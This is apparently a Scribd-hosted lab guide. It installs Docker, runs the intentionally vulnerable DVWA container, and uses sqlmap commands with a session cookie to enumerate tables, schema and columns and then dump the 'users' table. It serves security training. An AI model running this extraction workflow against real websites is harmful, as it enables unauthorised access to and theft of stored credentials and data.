0% found this document useful (0 votes)
3 views8 pages

SQL Injection

The document provides a step-by-step guide for setting up Docker and using SQLMap to perform SQL injection testing on a DVWA container. It includes commands for updating the package list, installing Docker, enabling it, adding a user to the Docker group, and executing SQLMap commands to extract database information. The process culminates in dumping data from the 'users' table after extracting schema and column information.

Uploaded by

abutalhaayon22
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
3 views8 pages

SQL Injection

The document provides a step-by-step guide for setting up Docker and using SQLMap to perform SQL injection testing on a DVWA container. It includes commands for updating the package list, installing Docker, enabling it, adding a user to the Docker group, and executing SQLMap commands to extract database information. The process culminates in dumping data from the 'users' table after extracting schema and column information.

Uploaded by

abutalhaayon22
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd

SQL Injection:

Step 1: Update the Package List


1. Open the terminal.
2. Run the following command to update the package list:
sudo apt update
Step 2: Install Docker
Install Docker by running the following command:
sudo apt install -y [Link]

Step 3: Enable Docker


Enable Docker to start on boot and start it immediately:
sudo systemctl enable docker –now

Step 4: Add User to Docker Group


1. Add your user to the Docker group to manage Docker as a non-root user:
sudo usermod -aG docker $USER

Step 5: Restart Virtual Machine


/sbin/reboot
Step 6: Activate Docker Group
1. Activate the changes to the Docker group without logging out:
newgrp docker
Step 7: Run DVWA Container
1. Run the DVWA container with the following command:
docker run --rm -it -p 80:80 vulnerables/web-dvwa
2. Then open DVWA
Step 8: Launch SQLMap
1. Run SQLMap from your Linux applications.
Step 9: Perform Initial SQL Injection
Use SQLMap to test for SQL injection vulnerability:
sqlmap -u [Link]
id=1234&Submit=Submit#
Step 10: Extract Tables
1. Database selection

2. Extract the tables from the database using the following command:
sqlmap -u "[Link]
id=1234&Submit=Submit#" --
cookie="PHPSESSID=7946ndbzkif29cf18s1op0v2;security=low" --
tables

Step 11: Extract Schema


1. Extract the database schema with the following command
sqlmap -u "[Link]
id=1234&Submit=Submit#" --
cookie="PHPSESSID=7946ndbzkif29cf18s1op0v2;security=low" --
schema –batch
Step 13: Extract Column Information
Extract information about the columns in the "users" table:
sqlmap -u "[Link]
id=1234&Submit=Submit#" --
cookie="PHPSESSID=7946ndbzkif29cf18s1op0v2;security=low" --
columns -T users –batch
Step 14: Dump Table Data
1. Dump the data from the "users" table:
sqlmap -u "[Link]
id=1234&Submit=Submit#" --
cookie="PHPSESSID=7946ndbzkif29cf18s1op0v2;security=low" --
dump -T users –batch

You might also like